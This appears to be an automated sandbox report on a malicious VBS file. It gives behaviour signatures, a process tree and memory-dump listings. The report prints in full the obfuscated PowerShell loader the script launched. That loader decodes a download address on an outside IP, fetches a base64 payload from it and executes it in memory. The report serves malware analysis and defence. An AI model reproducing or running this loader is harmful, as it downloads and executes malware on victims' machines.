Analysis
- max time kernel
146s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/07/2024, 02:46
General
- Target ec41d23e297c8f8aa407ef610a8f3082a1e103addf113cfe3e4d2ec6733b54e8.vbs
- Size 24KB
- Sample240703-c9m2jatdkf
- SHA256 ec41d23e297c8f8aa407ef610a8f3082a1e103addf113cfe3e4d2ec6733b54e8
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ec41d23e297c8f8aa407ef610a8f3082a1e103addf113cfe3e4d2ec6733b54e8.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Racings Catharin Scampies Circumscribing133 Parolees Maksimumstraffe Nonimportation Paatalernes alfabetiseres Isoimmunizations Dyreryggens73 Silversmiths Suckfish45 Gormandising Synalephe Kldelig Intermediary Octogenarians Jammerklagerne Randrusianskes Statsborgerskabers Arnolds Optimist Aeronautic Racings Catharin Scampies Circumscribing133 Parolees Maksimumstraffe Nonimportation Paatalernes alfabetiseres Isoimmunizations Dyreryggens73 Silversmiths Suckfish45 Gormandising Synalephe Kldelig Intermediary Octogenarians Jammerklagerne Randrusianskes Statsborgerskabers Arnolds Optimist Aeronautic';If (${host}.CurrentCulture) {$Sinologi++;}Function Gunflints($Handsawfish){$Guvnor=$Handsawfish.Length-$Sinologi;$Beflounce96='SUBsTRI';$Beflounce96+='ng';For( $Fletteprocessers=7;$Fletteprocessers -lt $Guvnor;$Fletteprocessers+=8){$Racings+=$Handsawfish.$Beflounce96.Invoke( $Fletteprocessers, $Sinologi);}$Racings;}function Skildrerne($larrigan){ &($Cumulates) ($larrigan);}$Cryptoglaux=Gunflints 'SlvpapiM Rullego AulostzC,quinaiC acatel TeitmilForzanda Voldsh/unwilt 5Ost.nsi.Prmiere0Glazier Gennems( EmascuW SluppeiPylorosnPolyli d s,ifteoAnalysewConvolvs Intens DamerkkNfngsel.TBedaa e Ptisanr1 Tarrag0 Typif,.Dinguse0.ambesg;Laurent AimilepWSudansaiBestillnAdrenin6.eander4Latesce;Agerdyr A toplaxDiso de6Audi,iv4 Precon; Beregn TvrrebsrTromlervL ftreg: zilasm1Csarre.2 Opsaml1Rringer.Riv nca0Franker)Tilfres systempGUdskregeBawbeescAddendek igua,ooSemenan/ Econo.2Libe ta0 Shaved1Harvard0Bitmnst0Standar1 Trerum0Presump1Subinte By,selvF S,igeriUnrooflrM.nostie Disoccf bservaoFug,ighxTriglyp/Halvoff1Kultu,m2Aut,mob1Klinikk.Haa dva0Triadic ';$spliff=Gunflints 'Bela neUP,oletasKtast.seRejekllrudskyde-GenopleADyffeleg OversteAfskninnEarfulstOmbreaf ';$Parolees=Gunflints 'UdpegelhBlgeb vt Beregnt SyphonpUrfjeld:nicadss/Alufo,i/svingsa1Glycero0 str.tc3Dep,tat.Vavasor2D.alate3Te,rsta7Annegit.Torkild8Doekspr6Svovlha.Fro.tlu2Strutma4Tegneku7Emb,yol/ApplikaUCorticid RejsegmGemotsma Di,selg orskefrIn.ighteResurget Ove,tr.isbaadshHashpibholie orkL kishn ';$Furibund=Gunflints 'Enkelth>Se.opus ';$Cumulates=Gunflints ' SnitfliforladeeMarlinexOverp i ';$Vandrerkorts='Paatalernes';$Onklerne = Gunflints 'Undu eoeFeelingc Skyldnh,dlydskoWastefu Deflor%U.profiaOver,oppOvertrdp d onnidRigstrna GraasttBnketsia rkanst%Garant.\FrescoeFParaff eUngeniaj Ove bad CardioeIngen.odha,lssteGule.dd.PrstegaePlafo,dlShowboalAllinge Meazlef&Bundtet&Phi,ant Ynglerne ManslacLiglotth.heologoRaynard KrampetP.ragra ';Skildrerne (Gunflints ' Fredni$,ccumbmg AkropolMich.elo SkaanebSpisekraUdsivnilDi,xinr: HyssenKFiskeriuP.einstnUnburntd Dis ere.ntermatstamin.jFo tbrieAa.sindnlooeysueMonterisOver,eatRykindeeCetoniin bri.ebsC,shmer=Underbe(electroc runcatmVi.terhdSelvkla Rangkla/Inco.vecXylosma thainto$Korrig OSphac ln cum.lak.esparilUndercheDvlerehrKontraknPa,ralle.dmeasu)Snarlig ');Skildrerne (Gunflints 'Konkurr$ V.ndibgrigsvaalEfte slo VindicbPrierslaTeltn nlMandsdo:TresindCHippiati LillikrCen.rifcCarumseu AntiagmStolearsSidevejctransfor Gelosii Skarrib Nonp,riProclainR,ppledgUnga,va1Goldaks3Udkaare3Subtera=Keglesp$skyllesPGl,cocoaLftenebrHall,nboForandrlNordmane EksporeNonconssMaskins.ConfratsKunstvapDistriblKalvelbi Un erdtImmatri(Simplic$ColubriFStenf suStnkeprrStandsfiBoghandbKapitaluRub.ikkn.ejlensdDomicil) Ty gde ');Skildrerne (Gunflints 'Ndu gan[J.urnalN HjhuseeO,eosactBic,lor. ,okhavSCoprop,eAlkoholrBrightsvNecrotyiRidsefjc lejereeInterlaPS,inetsoDipl.piisquawfinOstepintA.acathMInd.rdeaHamartonkortfriaPaasta.gPlanlgneStivnenrDegforh]Kom,ker:Foundfl: Hel,deSJordskreTransvecAg,ntdiu aderskrcoapti iLemlstetUncivilyPolemikPSubs,itr BlisteoCo.ntertBro.kaloP.everic CulturoSk,vbunlBuffsbe Fol,tb= nbigge Later.l[RkvrkerNArckinge VldesftProcent.de.mareSAntisepeReflekscBjergaruConniverKaynetfiEskamottDrypsseyNeiatidP P rrelrResinizo anzonet HypertoFonematcFarmlano Rneb,ilplastsfTdiningmy ImperspSterlaneUndervu]Svagt.e: Incine:RegildfTC.evisvlthermicsChi ois1 Satin.2Buffoon ');$Parolees=$Circumscribing133[0];$Tubae= (Gunflints 'Surclif$takeup.gmedaljelrelstatoB.rgmesbE ilemmaDribledl Stepch: up,rtiA PrograkRepavestAmaze saKdehusfnGeograft,eflatim under o Ce,sordoricycleV,stenfledvinscsCons.bs=KommandNIndefrye DurianwMammoni-,eprievO.accinibStrafpojBesvarbeTvety,icDunnabstLamslaa .hokolaSwoadedey Pe,tapsAtingantcigare e Wronskm Gigado.Bem strNLithophe.ynipidtPostmes. Ge metWHighlane.ellbirbdecim lCOutswinlv,vacehikmpestoeBesyngenS ibestt');$Tubae+=$Kundetjenestens[1];Skildrerne ($Tubae);Skildrerne (Gunflints 'Adresse$ PengelAKabardck Coun,etUfrihedaAlenlannSkalotttAsse,temPromerco Ste.dddSodalite Ska arl.istandsUnderpi.Bl ckfeHKnkkreseK,nspeoaphotogrdPredamneBarytafrUdke nes Bejdse[omhandl$StandarsRumsterpS,krestlF ltrediSynkopefUnpsychfSlalomk]fejltry=Scriptu$FourageCSulphopr B omsty MelicrpBiograftHurdlenoSmdexclgHelfredlLytter a Rebuttu N,ncomx Campe, ');$Lbetidens=Gunflints ' r maun$PardeddAFrilandkDimmestt Nu,bedaAngakoknReauthotUnpeggemE.tersloImpeevid nticomeIchthyil O.ticisHavar r. A.trinD GribanoFleshl wC,ristenG.ossopl Tris.eoAnimi ma Jagg.ed I,dekoFAce.ylsiOnsswiml Gearale Calibe(tryksva$PreschoPParitetaeffoliarStrawbro UnvitilKaffekoeO.ooutpe Libid.sCurariz, Hypopo$tndehvlAMixbloorPrimovinTbruddeoHomoeoglBrandbyd StandasMatchet)Pik nte ';$Arnolds=$Kundetjenestens[0];Skildrerne (Gunflints 'M.rkeds$UnpropegLoquitulBlankebo,ristesbBrigadeaRullendlDi.turb:SensomoKGleanabfDisagretGreggrie Bumpi,r ,ortcusTr posp=Okkerfo(GlossopT Scan.ae injenusContractAethere-AfbrydePBenzinsaFokuse.t banalehPorop.y Minimum$.nfeminA lagg,rrGr ynesnvognfuloForge slPti,imndSjldenhs Re.nbu)Snorker ');while (!$Kfters) {Skildrerne (Gunflints 'Acetoni$ Spa drgPtyali.lPrdikatoBor.glybSprogfoaLucarnelStylish:Altern,FUndvreraraxingpaNaalenedSomatoce,usiodi=Nedslag$FunctiotUdbytter PhobicuLuftvaae Recipr ') ;Skildrerne $Lbetidens;Skildrerne (Gunflints ' ForrenSMellemttTy letsa orgivrBrugel,tUpupakr-CirkulrSIfuga,ulEarflapeIndst,de BriarepSlisken Rudeskr4flashly ');Skildrerne (Gunflints 'F,rudbe$ Bentjegkvintetl TermomoSem.orgb epetrpa GotfrelUskadel:KransenK Rebaptf Udmrk.tGaylefreLeopardrmoralizs Infor =Fastkr ( onfesTTab osieUnfondns hangertstereos- DustouPbudgiesaSchistatPrinterh Improb Demogra$Urede,bA Kas kurTrommetnCari atoK ndinglKnalderdForud.esKarakte).ryllup ') ;Skildrerne (Gunflints 'acceler$CognacegMorfinil GennemoMangonibEfterfoaLipodyslteleuto:Pat ticSCente ec HjovneaSmaaovem DoctorpRonnif iRagtimeeP oalcosTonneau=Sphecin$Rambledg .arietlkons,ruoSanmar,bOktavera DagldelHobende:ReflowiCSystal ahydrocotPentagyhJatropha,dresserDeweddoimarchern Afvbni+Lsehast+Oriflam%Udspalt$ReflexoCKargoeriCentigrrPaa aefcDis avouSubtensmUnderspsT.oublecEcrus,arRligs eisaggonibKok,ttoiJohannenchylifig Reli,t1Tilbund3Ama,gam3 amvitt.GrassmecUpaaagtoSporinguStaktopnTjattentLantern ') ;$Parolees=$Circumscribing133[$Scampies];}$Bibliomanis=316121;$Rehumanized=28218;Skildrerne (Gunflints 'Zincode$Kjoveacgsnu fbolSe ibaroSpectrobMaalscoa Rubinsl Mononu: isidenao ducerlA.legatfK,ypteraSpekulabdaemonye PlanlgtSolvolyiProgramsRidglinePhage erBurresneZygosi,sTrangbi Inhabil=Quaff.z IncentrG SteevieAftr,nitTimelns- .ohansCAnth acoFirma anDuksedrtParasite Brogu,nPo,arfot Cellsm Byvaa e$TribadiAChicnesrR.uterenOlivasto Fors,dlA.ainqudtippiessMarty,i ');Skildrerne (Gunflints 'Hy roco$ ChordegUnwithhlReturvroMicrosebSessel.aWagoneelCiviliz:PaategnBLserindvArbejd e BumekslTalmudisRawlplueNinepegr Sk inen edinafeSuburbl Ophobn=Lini mn Unsunke[whosisoS Landssy ImbrexsFal kmntKon,esseTricho mbib iot.IndarbeCB,oknivo KuglelnrappendvAgrobioe Nonvinr U,hailtFrys.di]Un,erst:Narcot.:.estrucFMenagerrMaintenoProportmideyka.BRverkulaLoka plsfoun.fueMisrule6Gus,abl4Sulf,glSAntikomt De,outrMoskvafiAdve.binUnpossigLin.ers(Overpow$KlintekaManhat,lLyocratfOmk,slea easandb OptageeAfsvovltWic,iupiAlbatiosSund,yieKirurgerSy dacteDistriks Labora)Ridesko ');Skildrerne (Gunflints 'defocus$ LigningDanaidelFra.kekohedon,sbCharybdaFattierlBaromet: LinninS ,resteiBalustel aronicv piesineTrllearrFli tlasDroso hmdegradeiCutletftstilli,hNrvrforsNonshri Botswan=Str,nin Cascad[AfhaareSGyp.schy YardwasKom agntOmbudsme.dstyknmTemp.ri.GynaecoT WuffgoeSkuffe.x.ousehotM.croso.Forva.tETre,ketnTorpe.oc Sulp ioPrognosdKlubkamiSalonkonSkumplegKik.ter]Kopsk f:Ptosish:kriminaA CuriouS,ampradCSarpopoITotemisISig,els.Ph.lantGAfstumpeVati,antCrossgrSTern.tft .kulperVict.mii SchoolnIndeflug.kattef(Forespo$ BrokadBKlangenvt iperseAccruablRedundas FlogmaeCommorarKatalogn CatdomeAngloam)Tigh fi ');Skildrerne (Gunflints 'Topwor.$ Fil prgInfloodltrkpa ioBrnebidb ogmrkeaScutel,lSalvier:RuefulnRPrangereFriha nsScrophutRecag ksBetnknit KanskerAutostoaOfr.rwhf,yedropfUdmar seFustagenIngeni,eBlodtabs Afsnit=Brlesin$ KlientSsuspirei Occurel Smackev BarbareTriptllrKardanesAfsendemModellei UnmatutPol.gonhVi.dspesOvovivi.Omg,dedsElsdyrsuOculospbAcarinosDykk netOutlippr AllotriAlteratnRevidergStorcir(Extrabu$UdbredeBPaandteiTelefo.b LnudvilheteropiVulgarioUna.atimEmi sioa MofussnTanglesi Accidestrussen,mancipi$FourthlRKvadrateCtosli.hRvhulleu Solecim psigelaHexosepnLini.reiEpidermzGeison,eParatesd.verskr)Noncl n ');Skildrerne $Reststraffenes;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejdede.ell && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xxujdlo2.bar.ps1
memory/1552-0-0x00007FF8B10F3000-0x00007FF8B10F5000-memory.dmp
memory/1552-10-0x000001F85DAC0000-0x000001F85DAE2000-memory.dmp
memory/1552-11-0x00007FF8B10F0000-0x00007FF8B1BB1000-memory.dmp
memory/1552-12-0x00007FF8B10F0000-0x00007FF8B1BB1000-memory.dmp
memory/1552-13-0x00007FF8B10F0000-0x00007FF8B1BB1000-memory.dmp
memory/1552-14-0x00007FF8B10F0000-0x00007FF8B1BB1000-memory.dmp
memory/1552-15-0x00007FF8B10F0000-0x00007FF8B1BB1000-memory.dmp